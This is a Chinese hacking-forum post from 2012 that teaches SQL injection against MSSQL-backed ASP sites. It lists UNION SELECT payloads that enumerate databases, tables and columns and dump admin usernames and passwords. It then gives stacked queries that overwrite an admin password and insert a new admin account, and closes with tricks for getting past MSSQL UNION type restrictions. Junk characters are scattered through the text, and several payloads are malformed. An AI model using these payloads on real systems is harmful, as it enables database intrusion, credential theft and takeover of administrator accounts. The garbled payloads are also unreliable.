找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
; V6 V6 R4 d+ @5 B# M6 r+ mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--' |5 k% F' B3 p+ R+ z
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
; n8 s  B4 {% s. M& Q) v爆下一个库:/ [2 y7 a2 }9 k  F0 t, ~7 ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--  T. i- m; _9 X5 |

  e* Z9 |* q, B" z爆表:
; A) Z& c( I  n6 o2 b- a, Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) K2 e1 J8 c5 R4 x3 w
) F& A$ y: y9 R2 O+ K1 j
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.! ]2 m! V. O. ?. t0 }' v
# |5 _) ^7 V) j
爆下一个表
$ i  m0 v- G9 f! M0 g: y4 S! S7 Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
0 z9 A# o& {( |/ ?7 t5 Z; Y% g( f
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--7 A0 \7 t3 u" q, p5 B3 B/ J( ?
& V9 d( b- l# O9 h6 C6 B, N2 _

6 s6 b- l, x" ]; M! m" [, ^
9 C- J  H2 r! Q& d/ V爆字段:
- P% z" B2 }' qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--+ P; Y- X4 q" D9 {4 T

* _" `$ `6 e6 m7 W爆下一个字段) O: f- E8 Z! X9 u0 c
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
6 d. A, c* J& n  B. Z' ~
2 b# R# d0 G3 Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
# m( V2 T/ h: U2 e' C
9 y" I7 m$ K6 N# U% z; k# C) L7 |+ Z6 O: T
爆字段里的内容) k6 D+ G$ }- W6 D1 C; Z2 z: q
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
) Q6 J6 |: k/ b# Y$ I
, b& L; E- X5 ~2 Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--( D. H$ x( W& C6 u$ B
& I9 l. ^; Y' P7 {2 h! e! S% m
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--" f& k3 B' \! c2 O7 l  D
% P5 G9 X6 n; _
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
, V  o; m5 d0 A# ?9 \0 s+ H
& f5 q5 u# h8 P( A3 e- l5 P更新字段里的内容1 p  q3 c4 h4 \( j5 N. {
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--( V9 p( f* ^! D- @  [7 w

3 |7 |6 F7 w) _' U5 d( uhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--! I: _( `" g8 i8 ^/ L; Q' B) G$ M
! T) ~! R  \7 l0 E& D) G

5 Y* O3 i5 W; U5 R" B* n5 l( K) U/ d  h, G) z/ G; T2 L$ Q
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
' k+ b; r) k/ z# b: U    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。: o# U2 U. a# l' Y3 Z
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
6 C7 c/ c8 z$ w% S$ b# r9 [    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。- D: w+ k; l) R/ x
8 l& b: y9 s  I) ]6 C" p
突了了大部份限制的语句1 p5 ?- f* O6 U5 \+ L/ g+ l5 m
and 1=2 union all select char(49),char(50),null,null;--
$ n! S, z/ c# q; g( G+ M; U$ `- `" L; [3 z2 r6 ]
# |$ ?1 E1 Q3 S, r1 r% {
null也可以正常执行,不过没有回显,不好判断回显的列数。3 f  v2 \/ N3 r1 \+ t
一般union遇到问题都是有text或者ntext字段,image的很少遇到  p( O# M) x* V6 v: I

- C8 j1 J1 e' E- L! Q* y可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
5 Q+ B2 n$ `/ @% b" m; o, x: z# |$ z
) r9 l: v+ B! }: N" d9 M  U5 V  w# K8 {3 B+ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表